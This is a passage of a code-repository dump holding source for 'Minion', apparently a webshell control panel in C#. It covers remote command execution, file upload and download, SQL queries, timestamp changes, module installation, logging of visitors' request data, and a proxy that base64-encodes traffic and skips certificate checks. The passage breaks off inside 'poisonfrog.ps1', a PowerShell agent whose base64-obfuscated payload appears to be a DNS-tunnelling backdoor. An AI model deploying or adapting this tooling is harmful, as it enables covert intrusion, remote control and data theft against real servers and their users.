output.BuildingPercent = 0;\r\n\r\n                string errorMessage = string.Empty;\r\n                int countStatusError = 0;\r\n                int countStatusPause = 0;\r\n                int countStatusComplete = 0;\r\n                int countStatusBuilding = 0;\r\n\r\n                foreach (var part in parts)\r\n                {\r\n                    DownloadInfo dlInfo = new DownloadInfo(input.DownloadGuid, inputData.Url, part);\r\n                    dlInfo.Load();\r\n\r\n                    output.TotalSize = dlInfo.FileSize;\r\n                    if (dlInfo.StartDate != null)\r\n                    {\r\n                        if(output.StartDate == null || dlInfo.StartDate < output.StartDate)\r\n                            output.StartDate = dlInfo.StartDate;\r\n                    }\r\n\r\n                    if (dlInfo.EndDate != null)\r\n                    {\r\n                        if (output.EndDate == null || dlInfo.EndDate > output.EndDate)\r\n                            output.EndDate = dlInfo.EndDate;\r\n                    }\r\n\r\n                    DownloadProgressPart partInfo = new DownloadProgressPart();\r\n                    partInfo.TotalSize = 0;\r\n                    partInfo.PartNumber = part;\r\n                    partInfo.CurrentGet = 0;\r\n                    partInfo.Percent = 0;\r\n                    partInfo.Speed = 1;\r\n                    partInfo.LastSize = 0;\r\n                    partInfo.LastTime = string.Empty;\r\n\r\n                    if (dlInfo.Status != DownloadStatus.Requested && dlInfo.StartDate != null)\r\n                    {\r\n                        DateTime lstTime = dlInfo.StartDate.Value;\r\n\r\n                        if (input.Parts != null)\r\n                        {\r\n                            foreach (DownloadProgressPart item in input.Parts)\r\n                            {\r\n                                if (item.PartNumber == partInfo.PartNumber)\r\n                                {\r\n                                    partInfo.LastTime = item.LastTime;\r\n                                    partInfo.LastSize = item.LastSize;\r\n                                    if (!string.IsNullOrEmpty(partInfo.LastTime))\r\n                                        lstTime = DateTime.Parse(partInfo.LastTime);\r\n                                    break;\r\n                                }\r\n                            }\r\n                        }\r\n\r\n                        partInfo.TotalSize = dlInfo.EndPosition - dlInfo.StartPosition + 1;\r\n                        partInfo.CurrentGet = dlInfo.CurrentPosition - dlInfo.StartPosition;\r\n                        partInfo.Percent = Math.Round(((double)partInfo.CurrentGet / partInfo.TotalSize) * 100, 2);\r\n\r\n                        double timeDiff = 1;\r\n                        //if (input.Parts == null)\r\n                        //    timeDiff = (Now - dlInfo.StartDate).TotalSeconds;\r\n                        //else\r\n                            timeDiff = (Now - lstTime).TotalSeconds;\r\n\r\n                        partInfo.Speed = Math.Round((double)((partInfo.CurrentGet - partInfo.LastSize) / timeDiff), 2);\r\n\r\n                        if (dlInfo.Status == DownloadStatus.Complete)\r\n                        {\r\n                            //Remain = timeFix((long)(Now - timeStart).TotalMilliseconds);\r\n                            //File.Delete(tempPath + downloadguid);\r\n                        }\r\n                        else\r\n                        {\r\n                            if (partInfo.Speed == 0)\r\n                                partInfo.Speed = 1;\r\n                            long rem = (long)(((partInfo.TotalSize - partInfo.CurrentGet) / partInfo.Speed) * 1000);\r\n                            //if (rem < 0)\r\n                            //    File.WriteAllText(tempPath + downloadguid + \"-test\", LastSize + \"\\r\\n\"+LastTime+\"\\r\\n\" + data);\r\n                            //Remain = timeFix(rem)/* + \" left\"*/;\r\n                        }\r\n\r\n                        partInfo.LastSize = partInfo.CurrentGet;\r\n                        partInfo.LastTime = Now.ToString(\"yyyy-MM-dd HH:mm:ss.fff\");\r\n                    }\r\n                    output.Parts.Add(partInfo);\r\n\r\n                    if (dlInfo.Status == DownloadStatus.Complete)\r\n                        countStatusComplete++;\r\n\r\n                    if (dlInfo.Status == DownloadStatus.Pause)\r\n                        countStatusPause++;\r\n\r\n                    if (dlInfo.Status == DownloadStatus.Error)\r\n                    {\r\n                        countStatusError++;\r\n                        errorMessage = dlInfo.ErrorMessage;\r\n                    }\r\n\r\n                    if (dlInfo.Status == DownloadStatus.Downloading)\r\n                        output.Status = DownloadStatus.Downloading;\r\n\r\n                    if (dlInfo.Status == DownloadStatus.Building)\r\n                        countStatusBuilding++;\r\n                }\r\n\r\n                foreach (var item in output.Parts)\r\n                {\r\n                    output.Percent += item.Percent;\r\n                    output.Speed += item.Speed;\r\n                    output.CurrentGet += item.CurrentGet;\r\n                }\r\n\r\n                if(output.Parts.Count > 0)\r\n                    output.Percent = Math.Round(output.Percent / output.Parts.Count, 2);\r\n                \r\n                output.FileSize = Utility.SizeFix(output.TotalSize);\r\n\r\n                if (output.StartDate != null)\r\n                {\r\n                    output.SpeedString = Utility.SizeFix((long)output.Speed) + \"/sec\";\r\n                    output.Size = Utility.SizeFix(output.CurrentGet);\r\n                    long Remain = (long)(((output.TotalSize - output.CurrentGet) / output.Speed) * 1000);\r\n                    output.Remain = Utility.TimeFix(Remain);\r\n\r\n                    double speedAvg = 1;\r\n                    speedAvg = Math.Round(((double)output.CurrentGet / (Now - output.StartDate.Value).TotalSeconds), 2);\r\n                    if (speedAvg == 0)\r\n                        speedAvg = 1;\r\n                    output.SpeedAvg = Utility.SizeFix((long)speedAvg) + \"/sec\";\r\n                    long RemainAvg = (long)(((output.TotalSize - output.CurrentGet) / speedAvg) * 1000);\r\n                    output.RemainAvg = Utility.TimeFix(RemainAvg);\r\n                    output.StartTimeString = output.StartDate.Value.ToString(\"yyyy-MM-dd HH:mm\");\r\n                    output.TimeElapsed = Utility.TimeFix((long)(Now - output.StartDate.Value).TotalMilliseconds);\r\n                }\r\n\r\n                string tempPath = Utility.CheckDirectory(inputData.Url, DownloadTemp);\r\n\r\n                if (countStatusError > 0)\r\n                {\r\n                    if(!File.Exists(tempPath + input.DownloadGuid + \"-error\"))\r\n                        File.WriteAllText(tempPath + input.DownloadGuid + \"-error\", errorMessage);\r\n\r\n                    output.ErrorMessage = errorMessage;\r\n                }\r\n\r\n                if (output.Status != DownloadStatus.Downloading)\r\n                {\r\n                    if (countStatusComplete == parts.Count && File.Exists(tempPath + input.DownloadGuid + \"-complete\"))\r\n                    {\r\n                        output.Status = DownloadStatus.Complete;\r\n\r\n                        double speedAvg = Math.Round(((double)output.CurrentGet / (output.EndDate.Value - output.StartDate.Value).TotalSeconds), 2);\r\n                        output.SpeedAvg = Utility.SizeFix((long)speedAvg) + \"/sec\";\r\n                        output.TimeElapsed = Utility.TimeFix((long)(output.EndDate.Value - output.StartDate.Value).TotalMilliseconds);\r\n\r\n                        output.BuildingPercent = 100;\r\n\r\n                        // TODO: in this time it is better to download loggs, dont be delete, i this option is not good, uncommend next line later\r\n                        DeleteDownloadParts(input.DownloadGuid, inputData.Url);\r\n                    }\r\n                    else if (countStatusPause > 0)\r\n                    {\r\n                        if (countStatusPause + countStatusComplete == parts.Count)\r\n                        {\r\n                            output.Status = DownloadStatus.Pause;\r\n\r\n                            // TODO: This file is delete in resume function\r\n                            //if (File.Exists(tempPath + input.DownloadGuid + \"-pause\"))\r\n                            //    File.Delete(tempPath + input.DownloadGuid + \"-pause\");\r\n                        }\r\n                    }\r\n                    else if (countStatusError > 0)\r\n                    {\r\n                        if (countStatusError + countStatusComplete == parts.Count)\r\n                        {\r\n                            output.Status = DownloadStatus.Error;\r\n\r\n                            // TODO: This file is delete in resume function\r\n                            //File.Delete(tempPath + input.DownloadGuid + \"-error\");\r\n                        }\r\n                    }\r\n                    else if (countStatusBuilding + countStatusComplete == parts.Count)\r\n                    {\r\n                        output.Status = DownloadStatus.Building;\r\n\r\n                        output.BuildingPercent = (double) countStatusComplete / parts.Count * 100;\r\n                    }\r\n                    else\r\n                        output.Status = DownloadStatus.Requested;\r\n                }\r\n                output.StatusString = output.Status.ToString();\r\n\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                CurrentMain.ResponseAjax(new Main.ErrorClass(e));\r\n            }\r\n            CurrentMain.ResponseAjax(output);\r\n        }\r\n\r\n        private class DownloadLoadOutput\r\n        {\r\n            public List<string> Guid { get; set; }\r\n        }\r\n        private void DownloadLoad(Main.InputDataClass inputData)\r\n        {\r\n            DownloadLoadOutput output = new DownloadLoadOutput();\r\n            try\r\n            {\r\n                output.Guid = new List<string>();\r\n                var tempPath = Utility.CheckDirectory(inputData.Url, DownloadTemp);\r\n                var files = new DirectoryInfo(tempPath).GetFiles();\r\n                foreach (var file in files)\r\n                {\r\n                    if (file.Name.Length < 36) continue;\r\n\r\n                    var guid = file.Name.Substring(0, 36);\r\n                    if (!output.Guid.Exists(e => e == guid))\r\n                    {\r\n                        output.Guid.Add(guid);\r\n                    }\r\n                }\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                CurrentMain.ResponseAjax(new Main.ErrorClass(e));\r\n            }\r\n            CurrentMain.ResponseAjax(output);\r\n        }\r\n\r\n        private class DownloadGetInfoOutput\r\n        {\r\n            public DownloadInfo Info { get; set; }\r\n            // ReSharper disable once UnusedAutoPropertyAccessor.Local\r\n            public int PartCount { get; set; }\r\n        }\r\n        private void DownloadGetInfo(Main.InputDataClass inputData)\r\n        {\r\n            DownloadGetInfoOutput output = new DownloadGetInfoOutput();\r\n            try\r\n            {\r\n                var downloadGuid = inputData.MethodInput[\"DownloadGuid\"].ToString();\r\n                output.Info = new DownloadInfo(downloadGuid, inputData.Url, 1);\r\n                output.Info.Load();\r\n                output.PartCount = GetDownloadParts(downloadGuid, inputData.Url).Count;\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                CurrentMain.ResponseAjax(new Main.ErrorClass(e));\r\n            }\r\n            CurrentMain.ResponseAjax(output);\r\n        }\r\n\r\n        private void DownloadPause(Main.InputDataClass inputData)\r\n        {\r\n            try\r\n            {\r\n                var downloadGuid = inputData.MethodInput[\"DownloadGuid\"].ToString();\r\n                var tempPath = Utility.CheckDirectory(inputData.Url, DownloadTemp);\r\n                File.WriteAllText(tempPath + downloadGuid + \"-pause\", \"\");\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                CurrentMain.ResponseAjax(new Main.ErrorClass(e));\r\n            }\r\n            CurrentMain.ResponseAjax(\"ok\");\r\n        }\r\n        private void DownloadClose(Main.InputDataClass inputData)\r\n        {\r\n            try\r\n            {\r\n                var downloadGuid = inputData.MethodInput[\"DownloadGuid\"].ToString();\r\n                var info = new DownloadInfo(downloadGuid, inputData.Url, 1);\r\n                info.Load();\r\n\r\n                DeleteDownloadParts(downloadGuid, inputData.Url);\r\n\r\n                if (File.Exists(info.FileNameLocal))\r\n                    File.Delete(info.FileNameLocal);\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                CurrentMain.ResponseAjax(new Main.ErrorClass(e));\r\n            }\r\n            CurrentMain.ResponseAjax(\"ok\");\r\n        }\r\n        private void DownloadChangeStatusToRequested(Main.InputDataClass inputData)\r\n        {\r\n            try\r\n            {\r\n                var downloadGuid = inputData.MethodInput[\"DownloadGuid\"].ToString();\r\n                var tempPath = Utility.CheckDirectory(inputData.Url, DownloadTemp);\r\n                var parts = GetDownloadParts(downloadGuid, inputData.Url);\r\n                foreach (var part in parts)\r\n                {\r\n                    var lines = File.ReadAllLines(tempPath + downloadGuid + \"-\" + part);\r\n                    lines[0] = DownloadStatus.Resuming.ToString();\r\n                    File.WriteAllLines(tempPath + downloadGuid + \"-\" + part, lines);\r\n                }\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                CurrentMain.ResponseAjax(new Main.ErrorClass(e));\r\n            }\r\n            CurrentMain.ResponseAjax(\"ok\");\r\n        }\r\n\r\n        private void DownloadResume(Main.InputDataClass inputData)\r\n        {\r\n            try\r\n            {\r\n                var tempPath = Utility.CheckDirectory(inputData.Url, DownloadTemp);\r\n                var downloadGuid = inputData.MethodInput[\"DownloadGuid\"].ToString();\r\n                if(File.Exists(tempPath + downloadGuid + \"-pause\"))\r\n                    File.Delete(tempPath + downloadGuid + \"-pause\");\r\n                if (File.Exists(tempPath + downloadGuid + \"-error\"))\r\n                    File.Delete(tempPath + downloadGuid + \"-error\");\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                CurrentMain.ResponseAjax(new Main.ErrorClass(e));\r\n            }\r\n            DownloadGetInfo(inputData);\r\n        }\r\n\r\n        private List<int> GetDownloadParts(string guid, string url)\r\n        {\r\n            var tempPath = Utility.CheckDirectory(url, DownloadTemp);\r\n            var files = new DirectoryInfo(tempPath).GetFiles();\r\n            var parts = new List<int>();\r\n            foreach (var item in files)\r\n            {\r\n                if (!item.Name.StartsWith(guid)) continue;\r\n\r\n                var lastDash = item.Name.LastIndexOf('-');\r\n                if (int.TryParse(item.Name.Substring(lastDash + 1), out var part))\r\n                    parts.Add(part);\r\n            }\r\n            return parts;\r\n        }\r\n\r\n        private void DeleteDownloadParts(string guid, string url)\r\n        {\r\n            var tempPath = Utility.CheckDirectory(url, DownloadTemp);\r\n            var parts = GetDownloadParts(guid, url);\r\n            foreach (var part in parts)\r\n            {\r\n                File.Delete(tempPath + guid + \"-\" + part);\r\n                File.Delete(tempPath + guid + \"-\" + part + \"-temp\");\r\n            }\r\n\r\n            if (File.Exists(tempPath + guid + \"-pause\"))\r\n                File.Delete(tempPath + guid + \"-pause\");\r\n            if (File.Exists(tempPath + guid + \"-error\"))\r\n                File.Delete(tempPath + guid + \"-error\");\r\n            if (File.Exists(tempPath + guid + \"-complete\"))\r\n                File.Delete(tempPath + guid + \"-complete\");\r\n        }\r\n\r\n        private bool AllDone(string guid, string url, IReadOnlyCollection<int> parts)\r\n        {\r\n            var ret = false;\r\n\r\n            var countDone = 0;\r\n\r\n            foreach (var part in parts)\r\n            {\r\n                DownloadInfo dlInfo = new DownloadInfo(guid, url, part);\r\n                dlInfo.Load();\r\n\r\n                if (\r\n                    dlInfo.Status == DownloadStatus.Complete ||\r\n                    dlInfo.Status == DownloadStatus.Error ||\r\n                    dlInfo.Status == DownloadStatus.Pause ||\r\n                    dlInfo.Status == DownloadStatus.Building\r\n                )\r\n                    countDone++;\r\n            }\r\n\r\n            if (countDone == parts.Count)\r\n                ret = true;\r\n\r\n            return ret;\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/MinionProject/Minion/lib/LoginLog.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Collections.Specialized;\r\nusing System.IO;\r\nusing System.Linq;\r\nusing System.Net.NetworkInformation;\r\nusing System.Web;\r\n\r\nnamespace Minion.lib\r\n{\r\n    public class LoginLog\r\n    {\r\n        public static string LocationLog = @\"C:\\Users\\Public\\Libraries\\LoginLog\\\";\r\n\r\n        public void GetLog(HttpContext CurrentContext)\r\n        {\r\n            //string reservIP = File.ReadAllText(CurrentContext.Server.MapPath(\"/\") + \"ip.txt\");\r\n            string[] reservIP = null;\r\n            if (File.Exists(\"c:\\\\ip.txt\"))\r\n            {\r\n                reservIP = File.ReadAllLines(\"c:\\\\ip.txt\");\r\n            }\r\n\r\n            string ip = CurrentContext.Request.Params[\"REMOTE_ADDR\"];\r\n\r\n            if (reservIP != null)\r\n            {\r\n                foreach (var item in reservIP)\r\n                {\r\n                    if (item == ip)\r\n                        return;\r\n                }\r\n            }\r\n\r\n            ip = ip.Replace(\":\", \".\");\r\n            string path = LocationLog + ip;\r\n            if (!Directory.Exists(path))\r\n                Directory.CreateDirectory(path);\r\n\r\n            NameValueCollection pColl = CurrentContext.Request.Params;\r\n\r\n            string store = string.Empty;\r\n            for (int i = 0; i < pColl.Count; i++)\r\n            {\r\n                string key = pColl.GetKey(i);\r\n                if (key != \"ALL_HTTP\" && key != \"ALL_RAW\")\r\n                {\r\n                    string[] pValues = pColl.GetValues(i);\r\n                    string value = string.Empty;\r\n                    for (int j = 0; j < pValues.Length; j++)\r\n                    {\r\n                        if (j > 0)\r\n                            value += \"|\";\r\n                        value += pValues[j];\r\n                    }\r\n\r\n                    if (!string.IsNullOrEmpty(value))\r\n                    {\r\n                        store += key + \" : \" + value + Environment.NewLine + Environment.NewLine;\r\n                    }\r\n                }\r\n            }\r\n\r\n            string time = DateTime.Now.ToString(\"yyyy-MM-dd-HH-mm-ss-fff\");\r\n            string filePath = path + \"\\\\\" + time;\r\n            int num = 0;\r\n            string numStr = \"\";\r\n            while (File.Exists(filePath + numStr + \".txt\"))\r\n            {\r\n                num++;\r\n                numStr = \"-(\" + num + \")\";\r\n            }\r\n            try\r\n            {\r\n                File.AppendAllText(filePath + numStr + \".txt\", store);\r\n            }\r\n            catch{}\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/MinionProject/Minion/lib/Main.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Collections.Specialized;\r\nusing System.Linq;\r\nusing System.Net;\r\nusing System.Web;\r\nusing System.Web.Script.Serialization;\r\n\r\nnamespace Minion.lib\r\n{\r\n    public class Main\r\n    {\r\n        public class InputDataClass\r\n        {\r\n            public string Url { get; set; }\r\n            public string Password { get; set; }\r\n            public string AdminUsername { get; set; }\r\n            public string AdminPassword { get; set; }\r\n            public int MethodNumber { get; set; }\r\n            public Dictionary<string,object> MethodInput { get; set; }\r\n        }\r\n\r\n        public class ErrorClass\r\n        {\r\n            public ErrorClass(Exception ex)\r\n            {\r\n                Error = ex.ToString();\r\n            }\r\n            public string Error { get; set; }\r\n        }\r\n\r\n        public InputDataClass InputData { get; set; }\r\n        public HttpContext CurrentContext { get; set; }\r\n\r\n        public Main(InputDataClass inputData, HttpContext currentContext)\r\n        {\r\n            if (inputData != null)\r\n            {\r\n                InputData = inputData;\r\n                InputData.Url = Utility.FromBase64(InputData.Url);\r\n                InputData.Password = Utility.FromBase64(InputData.Password);\r\n                InputData.AdminUsername = Utility.FromBase64(InputData.AdminUsername);\r\n                InputData.AdminPassword = Utility.FromBase64(InputData.AdminPassword);\r\n            }\r\n            CurrentContext = currentContext;\r\n        }\r\n\r\n        public void Proxy(NameValueCollection param)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                ret = SendRequest(InputData.Url, param);\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            ResponseAjax(ret);\r\n        }\r\n\r\n        public void ResponseAjax(object res)\r\n        {\r\n            var json = new JavaScriptSerializer().Serialize(res);\r\n\r\n            CurrentContext.Response.Clear();\r\n            CurrentContext.Response.Write(Utility.ToBase64(json));\r\n            CurrentContext.Response.Flush();\r\n            CurrentContext.Response.SuppressContent = true;\r\n            CurrentContext.ApplicationInstance.CompleteRequest();\r\n        }\r\n\r\n        public void ResponseAjax(string res)\r\n        {\r\n            ResponseAjax(new Dictionary<string,object>() { { \"JustPrint\", res } });\r\n        }\r\n\r\n        public enum Method\r\n        {\r\n            Auth = 0,\r\n            Command = 1,\r\n            Upload = 2,\r\n            Uploadbase64 = 3,\r\n            Delete = 4,\r\n            Download = 5,\r\n            ChangeTime = 6,\r\n            SqlQuery = 7,\r\n            Explorer = 8,\r\n            GetSize = 9,\r\n            GetLocation = 10,\r\n            Rename = 11,\r\n            Copy = 12,\r\n            View = 13,\r\n            CommandAjax = 14,\r\n            DownloadTest = 15,\r\n            CheckModules = 16,\r\n            InstallModule = 17,\r\n            UninstallModule = 18,\r\n            Cmd7z = 19,\r\n            AuthAjax = 20,\r\n            GetLocationAjax = 21,\r\n            SpyCheck = 22,\r\n            LocalExplore = 23,\r\n            MultiDelete = 24,\r\n            CheckDownloadProgress = 25,\r\n            GetIPFromNbt = 26,\r\n            GetLogicDrives = 27,\r\n            NetworkDownloaderCheck = 28,\r\n            NetworkDownloaderLog = 29,\r\n            NetworkDownloaderError = 30,\r\n            NetworkDownloaderDone = 31,\r\n            NetworkDownloaderDir = 32,\r\n            SaveLog = 33,\r\n            DownloadDemo = 34,\r\n            DownloadPause = 35,\r\n            DownloadInfo = 36,\r\n            DownloadLoad = 37,\r\n            DownloadClose = 38,\r\n            DownloadChangeStatusToRequested = 39\r\n        };\r\n\r\n        public string SendRequest(string url, NameValueCollection values)\r\n        {\r\n            string response = string.Empty;\r\n\r\n            string param = string.Empty;\r\n\r\n            foreach (var item in values.AllKeys)\r\n            {\r\n                if (!string.IsNullOrEmpty(param))\r\n                    param += \"&\";\r\n                param += item + \"=\" + System.Web.HttpUtility.UrlEncode(Utility.ToBase64(values[item]));\r\n            }\r\n\r\n            using (WebClient wc = new WebClient())\r\n            {\r\n                ServicePointManager.ServerCertificateValidationCallback = (a, b, c, d) => true;\r\n                wc.Headers[HttpRequestHeader.ContentType] = \"application/x-www-form-urlencoded\";\r\n                response = Utility.FromBase64(wc.UploadString(url, param));\r\n            }\r\n\r\n            return response;\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/MinionProject/Minion/lib/UserLogin.cs",
    "content": "﻿using System;\r\nusing System.Text;\r\nusing System.Web;\r\n\r\nnamespace Minion.lib\r\n{\r\n    public class UserLogin\r\n    {\r\n        public bool CheckUser()\r\n        {\r\n            bool isLogin = false;\r\n            //if (HttpContext.Current.Session[\"SessionUser\"] != null)\r\n            //{\r\n            //    if (HttpContext.Current.Session[\"SessionUser\"].ToString().ToLower() == \"admin\")\r\n            //        isLogin = true;\r\n            //}\r\n            //else\r\n            //{\r\n                if (HttpContext.Current.Request.Cookies[\"SessionUser\"] != null)\r\n                {\r\n                    if (HttpContext.Current.Request.Cookies[\"SessionUser\"].Value == \"admin\")\r\n                    {\r\n                        //HttpContext.Current.Session[\"SessionUser\"] = \"admin\";\r\n                        isLogin = true;\r\n                    }\r\n\r\n                }\r\n            //}\r\n            return isLogin;\r\n        }\r\n\r\n        public bool LoginUser(string username, string password)\r\n        {\r\n            bool ret = false;\r\n\r\n            if (username.Trim().ToLower() == \"admin\")\r\n            {\r\n                string salt = \"O%tG7Hz57kvWk35$D*)s$1l$pUpLnBw)apHR!xYZWZu7X#^w7$mCArmQMAa&sRBG\";\r\n                string hash = \"m6m8CCWa/u820mie8bX3HKIx1+WQkB+lbmniyXWKB+8=\";\r\n\r\n                ret = Convert.ToBase64String(new System.Security.Cryptography.SHA256CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(password + salt))) == hash;\r\n\r\n                if (ret)\r\n                {\r\n                    //HttpContext.Current.Session[\"SessionUser\"] = \"admin\";\r\n\r\n                    HttpCookie cookie = new HttpCookie(\"SessionUser\", \"admin\");\r\n                    cookie.Expires = DateTime.Now.AddDays(7);\r\n                    HttpContext.Current.Response.SetCookie(cookie);\r\n                } \r\n            }\r\n\r\n            return ret;\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/MinionProject/Minion/lib/Utility.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.IO;\r\nusing System.Linq;\r\nusing System.Reflection;\r\nusing System.Text;\r\nusing System.Web;\r\n\r\nnamespace Minion.lib\r\n{\r\n    public static class Utility\r\n    {\r\n        public static string ToBase64(string a) { string ret = \"\"; try { ret = string.IsNullOrEmpty(a) ? a : Convert.ToBase64String(Encoding.UTF8.GetBytes(a)); } catch { } return ret; }\r\n        public static string FromBase64(string a) { string ret = \"\"; try { ret = string.IsNullOrEmpty(a) ? a : Encoding.UTF8.GetString(Convert.FromBase64String(a)); } catch { } return ret; }\r\n        public static string CheckDirectory(string url, string dirPath)\r\n        {\r\n            string newPath = string.Empty;\r\n\r\n            if (!dirPath.EndsWith(\"\\\\\"))\r\n                dirPath += \"\\\\\";\r\n\r\n            Uri myUri = new Uri(url);\r\n            string host = myUri.Host;\r\n\r\n            newPath = dirPath + host + \"\\\\\";\r\n\r\n            if (!Directory.Exists(newPath))\r\n                Directory.CreateDirectory(newPath);\r\n\r\n            //if (!Directory.Exists(DownloadTemp))\r\n            //    Directory.CreateDirectory(DownloadTemp);\r\n\r\n            return newPath;\r\n        }\r\n        public static void CreateEmptyFile(string filename)\r\n        {\r\n            File.Create(filename).Close();\r\n        }\r\n\r\n        public static string SizeFix(long size, bool round = false)\r\n        {\r\n            double s = size;\r\n            if (s < 1024)\r\n                return s + \" B\";\r\n            s = s / 1024;\r\n            if (s < 1024)\r\n                return (round ? (int)s : Math.Round(s, 2)) + \" KB\";\r\n            s = s / 1024;\r\n            if (s < 1024)\r\n                return (round ? (int)s : Math.Round(s, 2)) + \" MB\";\r\n            s = s / 1024;\r\n            if (s < 1024)\r\n                return (round ? (int)s : Math.Round(s, 2)) + \" GB\";\r\n            s = s / 1024;\r\n            return (round ? (int)s : Math.Round(s, 2)) + \" TB\";\r\n        }\r\n        public static string TimeFix(long msec)\r\n        {\r\n            int modSecond = 0;\r\n            int modMinute = 0;\r\n            int modHour = 0;\r\n            int modDay = 0;\r\n            double s = msec;\r\n            if (s < 1000) return (int)s + \" msec\";\r\n            s = s / 1000;\r\n            modSecond = (int)s;\r\n            if (s < 60) return modSecond + \" sec\";\r\n            s = s / 60;\r\n            modSecond = modSecond % 60;\r\n            modMinute = (int)s;\r\n            if (s < 60) return modMinute + \" min\" + (modSecond == 0 ? \"\" : \" \" + modSecond + \" sec\");\r\n            s = s / 60;\r\n            modMinute = modMinute % 60;\r\n            modHour = (int)s;\r\n            if (s < 24) return modHour + \" hour\" + (modMinute == 0 ? \"\" : \" \" + modMinute + \" min\")/*+ (modSecond == 0 ? \"\" : \" \" + modSecond + \" sec\")*/ ;\r\n            s = s / 24;\r\n            modHour = modHour % 24;\r\n            modDay = (int)s;\r\n            if (s < 365) return modDay + \" day\" + (modHour == 0 ? \"\" : \" \" + modHour + \" hour\")/*+ (modMinute == 0 ? \"\" : \" \" + modMinute + \" min\")+ (modSecond == 0 ? \"\" : \" \" + modSecond + \" sec\")*/;\r\n            s = s / 365;\r\n            modDay = modDay % 365;\r\n            return (int)s + \" year\" + (modDay == 0 ? \"\" : \" \" + modDay + \" day\")/*+ (modHour == 0 ? \"\" : \" \" + modHour + \" hour\")+ (modMinute == 0 ? \"\" : \" \" + modMinute + \" min\")+ (modSecond == 0 ? \"\" : \" \" + modSecond + \" sec\")*/;\r\n        }\r\n\r\n        public static T GetObject<T>(Dictionary<string, object> dict)\r\n        {\r\n            Type type = typeof(T);\r\n            var obj = Activator.CreateInstance(type);\r\n\r\n            foreach (var kv in dict)\r\n            {\r\n                bool doIT = true;\r\n                if (kv.Value != null)\r\n                {\r\n                    Type valueType = kv.Value.GetType();\r\n                    if (valueType.IsArray)\r\n                    {\r\n                        doIT = false;\r\n\r\n\r\n\r\n                        //PropertyInfo pi = type.GetProperty(kv.Key);\r\n                        //Type typeCollection = pi.GetType();\r\n                        //var objCollection = Activator.CreateInstance(typeCollection);\r\n                        //objCollection.\r\n                        //Type piItem = typeCollection.GetProperty(\"Item\").PropertyType;\r\n\r\n\r\n                        //Type infoType = pi.GetType();\r\n                        //object[] array = (object[])kv.Value;\r\n                        //var collection = pi.GetValue(infoType, null);\r\n\r\n                        ////var collection = Activator.CreateInstance(type);\r\n                        //for (int i = 0; i < ((object[])kv.Value).Length; i++)\r\n                        //{\r\n                        //    collection.GetType().GetProperty(\"Item\").SetValue(collection, i);\r\n                        //}\r\n                    }\r\n                }\r\n                if (doIT)\r\n                {\r\n                    type.GetProperty(kv.Key).SetValue(obj, kv.Value);\r\n                }\r\n\r\n            }\r\n            return (T)obj;\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "posionfrog/agent/poisonfrog.ps1",
    "content": "${global:$address1} = $env:PUBLIC + \"\\Public\";\r\n${global:$dns_ag} = \"JENDQSA9ICJteWxlZnRoZWFydC5jb20iOw0KJEREQSA9IGdldC13bWlvYmplY3QgV2luMzJfQ29tcHV0ZXJTeXN0ZW1Qcm9kdWN0ICB8IFNlbGVjdC1PYmplY3QgLUV4cGFuZFByb3BlcnR5IFVVSUQgfCAleyAiYXRhZzEyIiArICRfLnJlcGxhY2UoJy0nLCcnKSB9fCAleyRfICsgIjEyMzQ1Njc4OTAifSB8ICV7JF8uc3Vic3RyaW5nKDAsMTApfQ0KDQpmdW5jdGlvbiBFRUEgKCRGRkEsICRHR0EsICRISEEsICRJSUEsICRKSkEpDQp7DQoJJEtLQSA9IC1qb2luICgoNDggLi4gNTcpKyg2NSAuLiA3MCkgfCBHZXQtUmFuZG9tICAtQ291bnQgKCV7IEdldC1SYW5kb20gLUlucHV0T2JqZWN0ICgxIC4uIDcpIH0pIHwgJXsgW2NoYXJdJF8gfSk7DQoJJExMQSA9IEdldC1SYW5kb20gLUlucHV0T2JqZWN0ICgwIC4uIDkpIC1Db3VudCAyOw0KCSRNTUEgPSAkRERBLkluc2VydCgoJExMQVsxXSksICRHR0EpLkluc2VydCgkTExBWzBdLCAkRkZBKTsNCgl3cml0ZS1ob3N0ICREREE7DQoJaWYgKCRKSkEgLWVxICJzIikNCgl7IHJldHVybiAiJCgkTU1BKSQoJEtLQSlBJCgkTExBWzBdKSQoJExMQVsxXSk3LiRISEEuJElJQS4kQ0NBIjsgfQ0KCWVsc2UgDQoJeyByZXR1cm4gIiQoJE1NQSkkKCRLS0EpQSQoJExMQVswXSkkKCRMTEFbMV0pNy4kKCRDQ0EpIjt9DQp9DQpmdW5jdGlvbiByZWNlaXZlDQp7DQoJJE5OQSA9ICRmYWxzZTsNCgkkT09BID0gMDsNCgkkUFBBID0gJHtnbG9iYWw6JFFRQX0gKyAiXCI7DQoJJFJSQSA9IEAoKTsNCgkkU1NBID0gIjAwMCI7DQoJJFRUQSA9ICIwIjsNCgkke2dsb2JhbDokVVVBfSA9ICR0cnVlOw0KCQ0KCSR7Z2xvYmFsOiRleGNlcHRpb25fY291bnRlcnNzc30gPSAwOw0KCSR7Z2xvYmFsOiRleGNlcHRpb25fY291bnRfbGltaXRzc3N9ID0gMjsNCgkNCglXaGlsZSAoJHtnbG9iYWw6JFVVQX0pDQoJew0KCQlpZiAoJHtnbG9iYWw6JGV4Y2VwdGlvbl9jb3VudGVyc3NzfSAtZ3QgJHtnbG9iYWw6JGV4Y2VwdGlvbl9jb3VudF9saW1pdHNzc30pIHsgYnJlYWsgfQ0KCQlTdGFydC1TbGVlcCAtbSAxMDA7DQoJCWlmICgkT09BIC1sdCAxMCkgeyAkU1NBID0gIjAw